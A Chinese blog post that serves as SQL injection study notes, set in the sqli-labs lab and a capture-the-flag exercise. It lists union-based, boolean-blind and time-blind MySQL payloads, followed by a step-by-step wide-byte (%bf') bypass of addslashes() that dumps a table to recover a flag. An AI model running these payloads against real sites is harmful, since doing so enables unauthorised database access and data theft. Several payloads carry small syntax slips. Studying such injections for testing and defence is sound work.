再谈sql注入

2019-12-06  本文已影响0人  楠昭

判断注入

  1. http://localhost/sqlilabs/Less-1/?id=3'
    用单引号测试报错则说明可以注入
    若没报错很有可能用addslashes()函数对敏感字符进行了转义。

类型

  1. 常规注入语句
1' order by num #        确定字段长度
1' union select 1,2,3 #  确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1     在注释符无法使用的情况下

2.bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

3.time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
  1. 宽字节注入
SELECT * FROM news WHERE tid='運''

1.探索

在包头看到gb2312,说明可能存在宽字节注入
  1. 尝试


    输入%df'报错,则说明成功绕过转义

    3.注入过程

    • 猜解字段数
      index.php?id=1%bf' order by num %23
      其中num为1,2,3时正常,为4时报错说明字段数为3

    • 猜解显示位
      index.php?id=2%bf' union select 1,2,3 %23

    • 获取数据库中表的信息
      index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
      得到数据库中的表sae_user_sqli4

    • 获取字段信息
      index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
      注意要把sae_user_sqli4转化成16进制
      得到表中字段如下 id,title_1,content_1

    • 脱裤
      index.php?id=-1%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
      得到flag
      总结:通过这道题学会那些函数的使用还有一步步注入的思想 字段数->表名->字段名->数据

上一篇 下一篇

猜你喜欢

热点阅读